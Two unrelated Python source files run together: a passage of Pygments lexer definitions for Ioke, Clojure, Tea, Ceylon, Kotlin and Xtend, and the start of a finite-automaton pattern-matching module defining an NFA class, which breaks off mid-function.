Keyword.Reserved), # Origin (r'(eval|mimic|print|println)(?![a-zA-Z0-9!:_?])', Keyword), # Base (r'(cell\?|cellNames|cellOwner\?|cellOwner|cells|cell|' r'documentation|hash|identity|mimic|removeCell\!|undefineCell\!)' r'(?![a-zA-Z0-9!:_?])', Keyword), # Ground (r'(stackTraceAsText)(?![a-zA-Z0-9!:_?])', Keyword), #DefaultBehaviour Literals (r'(dict|list|message|set)(?![a-zA-Z0-9!:_?])', Keyword.Reserved), #DefaultBehaviour Case (r'(case|case:and|case:else|case:nand|case:nor|case:not|case:or|' r'case:otherwise|case:xor)(?![a-zA-Z0-9!:_?])', Keyword.Reserved), #DefaultBehaviour Reflection (r'(asText|become\!|derive|freeze\!|frozen\?|in\?|is\?|kind\?|' r'mimic\!|mimics|mimics\?|prependMimic\!|removeAllMimics\!|' r'removeMimic\!|same\?|send|thaw\!|uniqueHexId)' r'(?![a-zA-Z0-9!:_?])', Keyword), #DefaultBehaviour Aspects (r'(after|around|before)(?![a-zA-Z0-9!:_?])', Keyword.Reserved), # DefaultBehaviour (r'(kind|cellDescriptionDict|cellSummary|genSym|inspect|notice)' r'(?![a-zA-Z0-9!:_?])', Keyword), (r'(use|destructuring)', Keyword.Reserved), #DefaultBehavior BaseBehavior (r'(cell\?|cellOwner\?|cellOwner|cellNames|cells|cell|' r'documentation|identity|removeCell!|undefineCell)' r'(?![a-zA-Z0-9!:_?])', Keyword), #DefaultBehavior Internal (r'(internal:compositeRegexp|internal:concatenateText|' r'internal:createDecimal|internal:createNumber|' r'internal:createRegexp|internal:createText)' r'(?![a-zA-Z0-9!:_?])', Keyword.Reserved), #DefaultBehaviour Conditions (r'(availableRestarts|bind|error\!|findRestart|handle|' r'invokeRestart|rescue|restart|signal\!|warn\!)' r'(?![a-zA-Z0-9!:_?])', Keyword.Reserved), # constants (r'(nil|false|true)(?![a-zA-Z0-9!:_?])', Name.Constant), # names (r'(Arity|Base|Call|Condition|DateTime|Aspects|Pointcut|' r'Assignment|BaseBehavior|Boolean|Case|AndCombiner|Else|' r'NAndCombiner|NOrCombiner|NotCombiner|OrCombiner|XOrCombiner|' r'Conditions|Definitions|FlowControl|Internal|Literals|' r'Reflection|DefaultMacro|DefaultMethod|DefaultSyntax|Dict|' r'FileSystem|Ground|Handler|Hook|IO|IokeGround|Struct|' r'LexicalBlock|LexicalMacro|List|Message|Method|Mixins|' r'NativeMethod|Number|Origin|Pair|Range|Reflector|Regexp Match|' r'Regexp|Rescue|Restart|Runtime|Sequence|Set|Symbol|' r'System|Text|Tuple)(?![a-zA-Z0-9!:_?])', Name.Builtin), # functions (r'(generateMatchMethod|aliasMethod|\u03bb|\u028E|fnx|fn|method|' r'dmacro|dlecro|syntax|macro|dlecrox|lecrox|lecro|syntax)' r'(?![a-zA-Z0-9!:_?])', Name.Function), # Numbers (r'-?0[xX][0-9a-fA-F]+', Number.Hex), (r'-?(\d+\.?\d*|\d*\.\d+)([eE][+-]?[0-9]+)?', Number.Float), (r'-?\d+', Number.Integer), (r'#\(', Punctuation), # Operators (r'(&&>>|\|\|>>|\*\*>>|:::|::|\.\.\.|===|\*\*>|\*\*=|&&>|&&=|' r'\|\|>|\|\|=|\->>|\+>>|!>>|<>>>|<>>|&>>|%>>|#>>|@>>|/>>|\*>>|' r'\?>>|\|>>|\^>>|~>>|\$>>|=>>|<<=|>>=|<=>|<\->|=~|!~|=>|\+\+|' r'\-\-|<=|>=|==|!=|&&|\.\.|\+=|\-=|\*=|\/=|%=|&=|\^=|\|=|<\-|' r'\+>|!>|<>|&>|%>|#>|\@>|\/>|\*>|\?>|\|>|\^>|~>|\$>|<\->|\->|' r'<<|>>|\*\*|\?\||\?&|\|\||>|<|\*|\/|%|\+|\-|&|\^|\||=|\$|!|~|' r'\?|#|\u2260|\u2218|\u2208|\u2209)', Operator), (r'(and|nand|or|xor|nor|return|import)(?![a-zA-Z0-9_!?])', Operator), # Punctuation (r'(\`\`|\`|\'\'|\'|\.|\,|@@|@|\[|\]|\(|\)|{|})', Punctuation), #kinds (r'[A-Z][a-zA-Z0-9_!:?]*', Name.Class), #default cellnames (r'[a-z_][a-zA-Z0-9_!:?]*', Name) ] } class ClojureLexer(RegexLexer): """ Lexer for `Clojure <http://clojure.org/>`_ source code. *New in Pygments 0.11.* """ name = 'Clojure' aliases = ['clojure', 'clj'] filenames = ['*.clj'] mimetypes = ['text/x-clojure', 'application/x-clojure'] special_forms = [ '.', 'def', 'do', 'fn', 'if', 'let', 'new', 'quote', 'var', 'loop' ] # It's safe to consider 'ns' a declaration thing because it defines a new # namespace. declarations = [ 'def-', 'defn', 'defn-', 'defmacro', 'defmulti', 'defmethod', 'defstruct', 'defonce', 'declare', 'definline', 'definterface', 'defprotocol', 'defrecord', 'deftype', 'defproject', 'ns' ] builtins = [ '*', '+', '-', '->', '/', '<', '<=', '=', '==', '>', '>=', '..', 'accessor', 'agent', 'agent-errors', 'aget', 'alength', 'all-ns', 'alter', 'and', 'append-child', 'apply', 'array-map', 'aset', 'aset-boolean', 'aset-byte', 'aset-char', 'aset-double', 'aset-float', 'aset-int', 'aset-long', 'aset-short', 'assert', 'assoc', 'await', 'await-for', 'bean', 'binding', 'bit-and', 'bit-not', 'bit-or', 'bit-shift-left', 'bit-shift-right', 'bit-xor', 'boolean', 'branch?', 'butlast', 'byte', 'cast', 'char', 'children', 'class', 'clear-agent-errors', 'comment', 'commute', 'comp', 'comparator', 'complement', 'concat', 'conj', 'cons', 'constantly', 'cond', 'if-not', 'construct-proxy', 'contains?', 'count', 'create-ns', 'create-struct', 'cycle', 'dec', 'deref', 'difference', 'disj', 'dissoc', 'distinct', 'doall', 'doc', 'dorun', 'doseq', 'dosync', 'dotimes', 'doto', 'double', 'down', 'drop', 'drop-while', 'edit', 'end?', 'ensure', 'eval', 'every?', 'false?', 'ffirst', 'file-seq', 'filter', 'find', 'find-doc', 'find-ns', 'find-var', 'first', 'float', 'flush', 'for', 'fnseq', 'frest', 'gensym', 'get-proxy-class', 'get', 'hash-map', 'hash-set', 'identical?', 'identity', 'if-let', 'import', 'in-ns', 'inc', 'index', 'insert-child', 'insert-left', 'insert-right', 'inspect-table', 'inspect-tree', 'instance?', 'int', 'interleave', 'intersection', 'into', 'into-array', 'iterate', 'join', 'key', 'keys', 'keyword', 'keyword?', 'last', 'lazy-cat', 'lazy-cons', 'left', 'lefts', 'line-seq', 'list*', 'list', 'load', 'load-file', 'locking', 'long', 'loop', 'macroexpand', 'macroexpand-1', 'make-array', 'make-node', 'map', 'map-invert', 'map?', 'mapcat', 'max', 'max-key', 'memfn', 'merge', 'merge-with', 'meta', 'min', 'min-key', 'name', 'namespace', 'neg?', 'new', 'newline', 'next', 'nil?', 'node', 'not', 'not-any?', 'not-every?', 'not=', 'ns-imports', 'ns-interns', 'ns-map', 'ns-name', 'ns-publics', 'ns-refers', 'ns-resolve', 'ns-unmap', 'nth', 'nthrest', 'or', 'parse', 'partial', 'path', 'peek', 'pop', 'pos?', 'pr', 'pr-str', 'print', 'print-str', 'println', 'println-str', 'prn', 'prn-str', 'project', 'proxy', 'proxy-mappings', 'quot', 'rand', 'rand-int', 'range', 're-find', 're-groups', 're-matcher', 're-matches', 're-pattern', 're-seq', 'read', 'read-line', 'reduce', 'ref', 'ref-set', 'refer', 'rem', 'remove', 'remove-method', 'remove-ns', 'rename', 'rename-keys', 'repeat', 'replace', 'replicate', 'resolve', 'rest', 'resultset-seq', 'reverse', 'rfirst', 'right', 'rights', 'root', 'rrest', 'rseq', 'second', 'select', 'select-keys', 'send', 'send-off', 'seq', 'seq-zip', 'seq?', 'set', 'short', 'slurp', 'some', 'sort', 'sort-by', 'sorted-map', 'sorted-map-by', 'sorted-set', 'special-symbol?', 'split-at', 'split-with', 'str', 'string?', 'struct', 'struct-map', 'subs', 'subvec', 'symbol', 'symbol?', 'sync', 'take', 'take-nth', 'take-while', 'test', 'time', 'to-array', 'to-array-2d', 'tree-seq', 'true?', 'union', 'up', 'update-proxy', 'val', 'vals', 'var-get', 'var-set', 'var?', 'vector', 'vector-zip', 'vector?', 'when', 'when-first', 'when-let', 'when-not', 'with-local-vars', 'with-meta', 'with-open', 'with-out-str', 'xml-seq', 'xml-zip', 'zero?', 'zipmap', 'zipper'] # valid names for identifiers # well, names can only not consist fully of numbers # but this should be good enough for now # TODO / should divide keywords/symbols into namespace/rest # but that's hard, so just pretend / is part of the name valid_name = r'(?!#)[\w!$%*+<=>?/.#-]+' def _multi_escape(entries): return '(%s)' % ('|'.join(re.escape(entry) + ' ' for entry in entries)) tokens = { 'root': [ # the comments - always starting with semicolon # and going to the end of the line (r';.*$', Comment.Single), # whitespaces - usually not relevant (r'[,\s]+', Text), # numbers (r'-?\d+\.\d+', Number.Float), (r'-?\d+', Number.Integer), (r'0x-?[abcdef\d]+', Number.Hex), # strings, symbols and characters (r'"(\\\\|\\"|[^"])*"', String), (r"'" + valid_name, String.Symbol), (r"\\(.|[a-z]+)", String.Char), # keywords (r'::?' + valid_name, String.Symbol), # special operators (r'~@|[`\'#^~&@]', Operator), # highlight the special forms (_multi_escape(special_forms), Keyword), # Technically, only the special forms are 'keywords'. The problem # is that only treating them as keywords means that things like # 'defn' and 'ns' need to be highlighted as builtins. This is ugly # and weird for most styles. So, as a compromise we're going to # highlight them as Keyword.Declarations. (_multi_escape(declarations), Keyword.Declaration), # highlight the builtins (_multi_escape(builtins), Name.Builtin), # the remaining functions (r'(?<=\()' + valid_name, Name.Function), # find the remaining variables (valid_name, Name.Variable), # Clojure accepts vector notation (r'(\[|\])', Punctuation), # Clojure accepts map notation (r'(\{|\})', Punctuation), # the famous parentheses! (r'(\(|\))', Punctuation), ], } class TeaLangLexer(RegexLexer): """ For `Tea <http://teatrove.org/>`_ source code. Only used within a TeaTemplateLexer. *New in Pygments 1.5.* """ flags = re.MULTILINE | re.DOTALL tokens = { 'root': [ # method names (r'^(\s*(?:[a-zA-Z_][a-zA-Z0-9_\.\[\]]*\s+)+?)' # return arguments r'([a-zA-Z_][a-zA-Z0-9_]*)' # method name r'(\s*)(\()', # signature start bygroups(using(this), Name.Function, Text, Operator)), (r'[^\S\n]+', Text), (r'//.*?\n', Comment.Single), (r'/\*.*?\*/', Comment.Multiline), (r'@[a-zA-Z_][a-zA-Z0-9_\.]*', Name.Decorator), (r'(and|break|else|foreach|if|in|not|or|reverse)\b', Keyword), (r'(as|call|define)\b', Keyword.Declaration), (r'(true|false|null)\b', Keyword.Constant), (r'(template)(\s+)', bygroups(Keyword.Declaration, Text), 'template'), (r'(import)(\s+)', bygroups(Keyword.Namespace, Text), 'import'), (r'"(\\\\|\\"|[^"])*"', String), (r'\'(\\\\|\\\'|[^\'])*\'', String), (r'(\.)([a-zA-Z_][a-zA-Z0-9_]*)', bygroups(Operator, Name.Attribute)), (r'[a-zA-Z_][a-zA-Z0-9_]*:', Name.Label), (r'[a-zA-Z_\$][a-zA-Z0-9_]*', Name), (r'(isa|[.]{3}|[.]{2}|[=#!<>+-/%&;,.\*\\\(\)\[\]\{\}])', Operator), (r'[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?', Number.Float), (r'0x[0-9a-fA-F]+', Number.Hex), (r'[0-9]+L?', Number.Integer), (r'\n', Text) ], 'template': [ (r'[a-zA-Z_][a-zA-Z0-9_]*', Name.Class, '#pop') ], 'import': [ (r'[a-zA-Z0-9_.]+\*?', Name.Namespace, '#pop') ], } class CeylonLexer(RegexLexer): """ For `Ceylon <http://ceylon-lang.org/>`_ source code. *New in Pygments 1.6.* """ name = 'Ceylon' aliases = ['ceylon'] filenames = ['*.ceylon'] mimetypes = ['text/x-ceylon'] flags = re.MULTILINE | re.DOTALL #: optional Comment or Whitespace _ws = r'(?:\s|//.*?\n|/[*].*?[*]/)+' tokens = { 'root': [ # method names (r'^(\s*(?:[a-zA-Z_][a-zA-Z0-9_\.\[\]]*\s+)+?)' # return arguments r'([a-zA-Z_][a-zA-Z0-9_]*)' # method name r'(\s*)(\()', # signature start bygroups(using(this), Name.Function, Text, Operator)), (r'[^\S\n]+', Text), (r'//.*?\n', Comment.Single), (r'/\*.*?\*/', Comment.Multiline), (r'(variable|shared|abstract|doc|by|formal|actual|late|native)', Name.Decorator), (r'(break|case|catch|continue|default|else|finally|for|in|' r'variable|if|return|switch|this|throw|try|while|is|exists|dynamic|' r'nonempty|then|outer|assert)\b', Keyword), (r'(abstracts|extends|satisfies|adapts|' r'super|given|of|out|assign|' r'transient|volatile)\b', Keyword.Declaration), (r'(function|value|void)\b', Keyword.Type), (r'(package)(\s+)', bygroups(Keyword.Namespace, Text)), (r'(true|false|null)\b', Keyword.Constant), (r'(class|interface|object|alias)(\s+)', bygroups(Keyword.Declaration, Text), 'class'), (r'(import)(\s+)', bygroups(Keyword.Namespace, Text), 'import'), (r'"(\\\\|\\"|[^"])*"', String), (r"'\\.'|'[^\\]'|'\\\{#[0-9a-fA-F]{4}\}'", String.Char), (r'".*``.*``.*"', String.Interpol), (r'(\.)([a-z_][a-zA-Z0-9_]*)', bygroups(Operator, Name.Attribute)), (r'[a-zA-Z_][a-zA-Z0-9_]*:', Name.Label), (r'[a-zA-Z_][a-zA-Z0-9_]*', Name), (r'[~\^\*!%&\[\]\(\)\{\}<>\|+=:;,./?-]', Operator), (r'\d{1,3}(_\d{3})+\.\d{1,3}(_\d{3})+[kMGTPmunpf]?', Number.Float), (r'\d{1,3}(_\d{3})+\.[0-9]+([eE][+-]?[0-9]+)?[kMGTPmunpf]?', Number.Float), (r'[0-9][0-9]*\.\d{1,3}(_\d{3})+[kMGTPmunpf]?', Number.Float), (r'[0-9][0-9]*\.[0-9]+([eE][+-]?[0-9]+)?[kMGTPmunpf]?', Number.Float), (r'#([0-9a-fA-F]{4})(_[0-9a-fA-F]{4})+', Number.Hex), (r'#[0-9a-fA-F]+', Number.Hex), (r'\$([01]{4})(_[01]{4})+', Number.Integer), (r'\$[01]+', Number.Integer), (r'\d{1,3}(_\d{3})+[kMGTP]?', Number.Integer), (r'[0-9]+[kMGTP]?', Number.Integer), (r'\n', Text) ], 'class': [ (r'[A-Za-z_][a-zA-Z0-9_]*', Name.Class, '#pop') ], 'import': [ (r'[a-z][a-zA-Z0-9_.]*', Name.Namespace, '#pop') ], } class KotlinLexer(RegexLexer): """ For `Kotlin <http://confluence.jetbrains.net/display/Kotlin/>`_ source code. Additional options accepted: `unicodelevel` Determines which Unicode characters this lexer allows for identifiers. The possible values are: * ``none`` -- only the ASCII letters and numbers are allowed. This is the fastest selection. * ``basic`` -- all Unicode characters from the specification except category ``Lo`` are allowed. * ``full`` -- all Unicode characters as specified in the C# specs are allowed. Note that this means a considerable slowdown since the ``Lo`` category has more than 40,000 characters in it! The default value is ``basic``. *New in Pygments 1.5.* """ name = 'Kotlin' aliases = ['kotlin'] filenames = ['*.kt'] mimetypes = ['text/x-kotlin'] # inferred flags = re.MULTILINE | re.DOTALL | re.UNICODE # for the range of allowed unicode characters in identifiers, # see http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-334.pdf levels = { 'none': '@?[_a-zA-Z][a-zA-Z0-9_]*', 'basic': ('@?[_' + uni.Lu + uni.Ll + uni.Lt + uni.Lm + uni.Nl + ']' + '[' + uni.Lu + uni.Ll + uni.Lt + uni.Lm + uni.Nl + uni.Nd + uni.Pc + uni.Cf + uni.Mn + uni.Mc + ']*'), 'full': ('@?(?:_|[^' + uni.allexcept('Lu', 'Ll', 'Lt', 'Lm', 'Lo', 'Nl') + '])' + '[^' + uni.allexcept('Lu', 'Ll', 'Lt', 'Lm', 'Lo', 'Nl', 'Nd', 'Pc', 'Cf', 'Mn', 'Mc') + ']*'), } tokens = {} token_variants = True for levelname, cs_ident in list(levels.items()): tokens[levelname] = { 'root': [ # method names (r'^([ \t]*(?:' + cs_ident + r'(?:\[\])?\s+)+?)' # return type r'(' + cs_ident + ')' # method name r'(\s*)(\()', # signature start bygroups(using(this), Name.Function, Text, Punctuation)), (r'^\s*\[.*?\]', Name.Attribute), (r'[^\S\n]+', Text), (r'\\\n', Text), # line continuation (r'//.*?\n', Comment.Single), (r'/[*](.|\n)*?[*]/', Comment.Multiline), (r'\n', Text), (r'[~!%^&*()+=|\[\]:;,.<>/?-]', Punctuation), (r'[{}]', Punctuation), (r'@"(""|[^"])*"', String), (r'"(\\\\|\\"|[^"\n])*["\n]', String), (r"'\\.'|'[^\\]'", String.Char), (r"[0-9](\.[0-9]*)?([eE][+-][0-9]+)?" r"[flFLdD]?|0[xX][0-9a-fA-F]+[Ll]?", Number), (r'#[ \t]*(if|endif|else|elif|define|undef|' r'line|error|warning|region|endregion|pragma)\b.*?\n', Comment.Preproc), (r'\b(extern)(\s+)(alias)\b', bygroups(Keyword, Text, Keyword)), (r'(abstract|as|break|catch|' r'fun|continue|default|delegate|' r'do|else|enum|extern|false|finally|' r'fixed|for|goto|if|implicit|in|interface|' r'internal|is|lock|null|' r'out|override|private|protected|public|readonly|' r'ref|return|sealed|sizeof|' r'when|this|throw|true|try|typeof|' r'unchecked|unsafe|virtual|void|while|' r'get|set|new|partial|yield|val|var)\b', Keyword), (r'(global)(::)', bygroups(Keyword, Punctuation)), (r'(bool|byte|char|decimal|double|dynamic|float|int|long|' r'short)\b\??', Keyword.Type), (r'(class|struct)(\s+)', bygroups(Keyword, Text), 'class'), (r'(package|using)(\s+)', bygroups(Keyword, Text), 'package'), (cs_ident, Name), ], 'class': [ (cs_ident, Name.Class, '#pop') ], 'package': [ (r'(?=\()', Text, '#pop'), # using (resource) ('(' + cs_ident + r'|\.)+', Name.Namespace, '#pop') ] } def __init__(self, **options): level = get_choice_opt(options, 'unicodelevel', list(self.tokens.keys()), 'basic') if level not in self._all_tokens: # compile the regexes now self._tokens = self.__class__.process_tokendef(level) else: self._tokens = self._all_tokens[level] RegexLexer.__init__(self, **options) class XtendLexer(RegexLexer): """ For `Xtend <http://xtend-lang.org/>`_ source code. *New in Pygments 1.6.* """ name = 'Xtend' aliases = ['xtend'] filenames = ['*.xtend'] mimetypes = ['text/x-xtend'] flags = re.MULTILINE | re.DOTALL tokens = { 'root': [ # method names (r'^(\s*(?:[a-zA-Z_][a-zA-Z0-9_\.\[\]]*\s+)+?)' # return arguments r'([a-zA-Z_$][a-zA-Z0-9_$]*)' # method name r'(\s*)(\()', # signature start bygroups(using(this), Name.Function, Text, Operator)), (r'[^\S\n]+', Text), (r'//.*?\n', Comment.Single), (r'/\*.*?\*/', Comment.Multiline), (r'@[a-zA-Z_][a-zA-Z0-9_\.]*', Name.Decorator), (r'(assert|break|case|catch|continue|default|do|else|finally|for|' r'if|goto|instanceof|new|return|switch|this|throw|try|while|IF|' r'ELSE|ELSEIF|ENDIF|FOR|ENDFOR|SEPARATOR|BEFORE|AFTER)\b', Keyword), (r'(def|abstract|const|enum|extends|final|implements|native|private|' r'protected|public|static|strictfp|super|synchronized|throws|' r'transient|volatile)\b', Keyword.Declaration), (r'(boolean|byte|char|double|float|int|long|short|void)\b', Keyword.Type), (r'(package)(\s+)', bygroups(Keyword.Namespace, Text)), (r'(true|false|null)\b', Keyword.Constant), (r'(class|interface)(\s+)', bygroups(Keyword.Declaration, Text), 'class'), (r'(import)(\s+)', bygroups(Keyword.Namespace, Text), 'import'), (r"(''')", String, 'template'), (r"(\u00BB)", String, 'template'), (r'"(\\\\|\\"|[^"])*"', String), (r"'(\\\\|\\'|[^'])*'", String), (r'[a-zA-Z_][a-zA-Z0-9_]*:', Name.Label), (r'[a-zA-Z_\$][a-zA-Z0-9_]*', Name), (r'[~\^\*!%&\[\]\(\)\{\}<>\|+=:;,./?-]', Operator), (r'[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?', Number.Float), (r'0x[0-9a-fA-F]+', Number.Hex), (r'[0-9]+L?', Number.Integer), (r'\n', Text) ], 'class': [ (r'[a-zA-Z_][a-zA-Z0-9_]*', Name.Class, '#pop') ], 'import': [ (r'[a-zA-Z0-9_.]+\*?', Name.Namespace, '#pop') ], 'template': [ (r"'''", String, '#pop'), (r"\u00AB", String, '#pop'), (r'.', String) ], }
codeparrot/github-code-clean
import argparse import logging import math import random import re import string import warnings from abc import ABC, abstractmethod from enum import Enum from functools import lru_cache, reduce from itertools import groupby, product from pathlib import Path from typing import Any, Callable, Dict, FrozenSet, Iterable, List, Optional, Set, Tuple, Union, cast import graphviz from pudzu.utils import first, merge, merge_with from pyparsing import ParseException from pyparsing import printables as ascii_printables from pyparsing import pyparsing_unicode as ppu from pyparsing import srange State = Any # really it's Union[str, Tuple['State']] Move = Enum("Move", "EMPTY ALL") Input = Union[str, Move] Transitions = Dict[Tuple[State, Input], Set[State]] CaptureGroup = str Captures = Dict[Tuple[State, Input], Set[CaptureGroup]] CaptureOutput = Dict[CaptureGroup, str] logger = logging.getLogger("patterns") DEBUG = False DICTIONARY_FSM = None EXPLICIT_FSM = None SUBPATTERNS = {} EXTRA_PRINTABLES = "" SLOW_SIMPLIFICATION = True class NFA: """Nondeterministic Finite Automata with - single start state (with no inbounds) and end state (with no outbounds) - ε-moves (including potential ε loops) - *-moves (only used if there is no other matching move) """ def __init__(self, start: State, end: State, transitions: Transitions, captures: Optional[Captures] = None): self.start = start self.end = end self.transitions = transitions self.captures = captures or {} self.states = {self.start, self.end} | {s for s, _ in self.transitions.keys()} | {t for ts in self.transitions.values() for t in ts} def __repr__(self) -> str: return f"NFA(start={self.start}, end={self.end}, transitions={self.transitions})" def match(self, string: str) -> Optional[CaptureOutput]: """Match the NFA against a string input. Returns a CaptureOutput if found, or None otherwise.""" old_states: Dict[State, CaptureOutput] = {self.start: {}} for c in string: new_states: Dict[State, CaptureOutput] = {} for s, co in old_states.items(): for se in self.expand_epsilons({s}): for t in self.transitions.get((se, c), self.transitions.get((se, Move.ALL), set())): if t not in new_states: cgs = self.captures.get((se, c), set()) if (se, c) in self.transitions else self.captures.get((se, Move.ALL), set()) tco = merge(co, {cg: co.get(cg, "") + c for cg in cgs}) new_states[t] = tco old_states = new_states for s, co in old_states.items(): if self.end in self.expand_epsilons({s}): return co return None def expand_epsilons(self, states: Iterable[State]) -> Set[State]: """Expand a collection of states along all ε-moves""" old: Set[State] = set() new = states while new: old.update(new) new = {t for s in new for t in self.transitions.get((s, Move.EMPTY), set()) if t not in old} return old def remove_redundant_states(self, aggressive: bool = False) -> None: """Trim the NFA, removing unnecessary states and transitions.""" # remove states not reachable from the start reachable, new = set(), {self.start} while new: reachable.update(new) new = {t for (s, i), ts in self.transitions.items() if s in new for t in ts if t not in reachable} self.states = reachable | {self.start, self.end} self.transitions = {(s, i): ts for (s, i), ts in self.transitions.items() if s in reachable} # remove states that can't reach the end (and any transitions to those states) acceptable, new = set(), {self.end} while new: acceptable.update(new) new = {s for (s, i), ts in self.transitions.items() if any(t in new for t in ts) and s not in acceptable} self.states = acceptable | {self.start, self.end} self.transitions = { (s, i): {t for t in ts if t in acceptable} for (s, i), ts in self.transitions.items() if s in acceptable and (any(t in acceptable for t in ts) or (s, Move.ALL) in self.transitions) } # remove transitions that are equivalent to * unnecessary: List[Tuple[State, Input]] = [] for (s, i), t in self.transitions.items(): if not isinstance(i, Move) and t == self.transitions.get((s, Move.ALL), set()): unnecessary.append((s, i)) for k in unnecessary: del self.transitions[k] # remove capture information for trimmed transitions self.captures = {(s, i): cs for (s, i), cs in self.captures.items() if (s, i) in self.transitions and i != Move.EMPTY} if aggressive: # remove states that only go via empty to self.end # (don't call this from MatchBoth as it would break assumptions of some calling functions) removable = set() not_removable = set() for (s, i), t in self.transitions.items(): if s != self.start and i == Move.EMPTY and t == {self.end}: removable.add(s) else: not_removable.add(s) removable = removable - not_removable if removable: unnecessary = [] for (s, i), ts in self.transitions.items(): if s in removable: unnecessary.append((s, i)) elif any(t in removable for t in ts): self.transitions[(s, i)] = {t for t in ts if t not in removable} | {self.end} for k in unnecessary: del self.transitions[k] self.states -= removable def render(self, name: str, console: bool = False, compact: bool = False) -> None: """Render the NFA as a dot.svg file.""" bg = "transparent" if console else "white" fg = "white" if console else "black" g = graphviz.Digraph(format="svg") g.attr(rankdir="LR", bgcolor=bg) states = set(self.states) start = self.start ends = {self.end} if compact: if {i for (s, i) in self.transitions if s == self.start} == {Move.EMPTY} and len(self.transitions.get((self.start, Move.EMPTY), set())) == 1: states.remove(self.start) start = first(self.transitions[(self.start, Move.EMPTY)]) if {i for (s, i), ts in self.transitions.items() if self.end in ts} == {Move.EMPTY}: states.remove(self.end) ends = {s for (s, i), ts in self.transitions.items() if self.end in ts} # states for s in states: shape = "doublecircle" if s in ends else "ellipse" root = "true" if s == start else "false" g.node(str(s), root=root, shape=shape, label="", color=fg) if s == start: g.node("prestart", style="invisible") g.edge("prestart", str(s), style="bold", color=fg) # transitions reverse_dict: Dict[State, Dict[Tuple[State, FrozenSet[CaptureGroup]], Set[Input]]] = {} for (s, i), ts in self.transitions.items(): if s not in states: continue for t in ts: if t not in states: continue c = frozenset(self.captures.get((s, i), set())) reverse_dict.setdefault(s, {}).setdefault((t, c), set()).add(i) for s, d in reverse_dict.items(): for (t, c), ii in d.items(): for move in (i for i in ii if isinstance(i, Move)): if move == Move.EMPTY: label = "ε" else: label = char_class("".join(j for u, j in self.transitions if u == s and isinstance(j, str)), negated=True) if c: label += f" {{{','.join(c)}}}" g.edge(str(s), str(t), label=label, color=fg, fontcolor=fg) input = "".join(sorted(i for i in ii if isinstance(i, str))) if len(input) >= 1: label = "SPACE" if input == " " else char_class(input) if c: label += f" {{{','.join(c)}}}" g.edge(str(s), str(t), label=label, color=fg, fontcolor=fg) g.render(filename=name + ".dot") def save(self, name: str, renumber_states: bool = True) -> None: """Save FSM as a .fsm file.""" # TODO: save and load capture groups def sort_key(s): # Q: is there a better state ordering? return "" if s == self.start else ")" if s == self.end else str(s) sorted_states = sorted(self.states, key=sort_key) def label(s): return ( "START" if s == self.start else "END" if s == self.end else str(sorted_states.index(s)) if renumber_states else str(s).replace("'", "").replace(" ", "") ) with open(name + ".fsm", "w", encoding="utf-8") as f: reverse_dict: Dict[State, Dict[FrozenSet[State], Set[Input]]] = {} for (s, i), ts in self.transitions.items(): reverse_dict.setdefault(s, {}).setdefault(frozenset(ts), set()).add(i) for state in sorted_states: from_label = label(state) for fts, ii in reverse_dict.get(state, {}).items(): to_labels = " ".join(label(t) for t in fts) for move in (i for i in ii if isinstance(i, Move)): print(f"{from_label} {str(move).replace('Move.','')} {to_labels}", file=f) input = "".join(sorted(i for i in ii if isinstance(i, str))) if len(input) >= 1: input_label = "SPACE" if input == " " else char_class(input) print(f"{from_label} {input_label} {to_labels}", file=f) def example(self, min_length: int = 0, max_length: Optional[int] = None) -> Optional[str]: """Generate a random matching string. Assumes NFA has been trimmed of states that can't reach the end.""" nfa = MatchBoth(self, MatchLength(min_length, max_length)) if min_length or max_length is not None else self output = "" state = nfa.start try: while state != nfa.end: choices = [i for (s, i) in nfa.transitions if s == state] non_empty = [i for i in choices if nfa.transitions[(state, i)]] i = random.choice(non_empty) if i == Move.ALL: # TODO: match with supported scripts? options = list(set(string.ascii_letters + string.digits + " '") - set(i for i in choices if isinstance(i, str))) output += random.choice(options) elif isinstance(i, str): output += i state = random.choice(list(nfa.transitions[(state, i)])) except IndexError: return None return output def bound(self, lower_bound: bool, max_length: int) -> Optional[str]: """Generate a lower/upper lexicographic bound for the FSM.""" bound = "" minmax = min if lower_bound else max states = self.expand_epsilons({self.start}) while (not lower_bound or self.end not in states) and len(bound) < max_length: least_char = None next_state = None for state in states: least_trans = minmax([i for (s, i), ts in self.transitions.items() if s == state and ts and isinstance(i, str)], default=None) if least_trans and (not least_char or least_trans == minmax((least_trans, least_char))): least_char, next_state = least_trans, first(self.transitions[(state, least_trans)]) if self.transitions.get((state, Move.ALL)): # TODO: match with supported scripts? least_any = minmax(set(ascii_printables + " ") - {i for (s, i) in self.transitions if s == state}) if not least_char or least_any == minmax((least_any, least_char)): least_char, next_state = least_any, first(self.transitions[(state, Move.ALL)]) if not least_char: break bound += least_char states = self.expand_epsilons({next_state}) else: if not lower_bound: bound = bound[:-1] + chr(ord(bound[-1]) + 1) return bound def regex(self) -> "Regex": """Generate a regex corresponding to the NFA.""" L = {(i, j): RegexConcat() if i == j else RegexUnion() for i in self.states for j in self.states} for (i, a), js in self.transitions.items(): for j in js: if a == Move.ALL: L[i, j] |= RegexNegatedChars("".join(b for k, b in self.transitions if i == k and isinstance(b, str))) elif a == Move.EMPTY: L[i, j] |= RegexConcat() else: L[i, j] |= RegexChars(a) remaining = set(self.states) for k in self.states: if k == self.start or k == self.end: continue remaining.remove(k) for i in remaining: for j in remaining: L[i, i] |= RegexConcat((L[i, k], RegexStar(L[k, k]), L[k, i])) L[j, j] |= RegexConcat((L[j, k], RegexStar(L[k, k]), L[k, j])) L[i, j] |= RegexConcat((L[i, k], RegexStar(L[k, k]), L[k, j])) L[j, i] |= RegexConcat((L[j, k], RegexStar(L[k, k]), L[k, i])) return L[self.start, self.end] def min_length(self) -> Optional[int]: """ The minimum possible length match. """ # use Dijkstra to find shortest path unvisited = set(self.states) distances = {s: 0 if s == self.start else math.inf for s in self.states} current = self.start while current in unvisited: base = distances[current] for (r, i), ss in self.transitions.items(): if r == current: weight = base + (i != Move.EMPTY) for s in ss: if s in unvisited: distances[s] = min(distances[s], weight) unvisited.remove(current) if current == self.end: return int(distances[self.end]) current, distance = min(distances.items(), key=lambda x: math.inf if x[0] not in unvisited else x[1]) if distance == math.inf: return None return None def max_length(self) -> Optional[int]: """ The maximum possible length match. """ # converts to a regex, though there's probably a more efficient way max_length = self.regex().max_length() return int(max_length) if math.isfinite(max_length) else None def char_class(chars: str, negated: bool = False) -> str: """Generate a character class description of the given characters""" if len(chars) == 0 and negated: 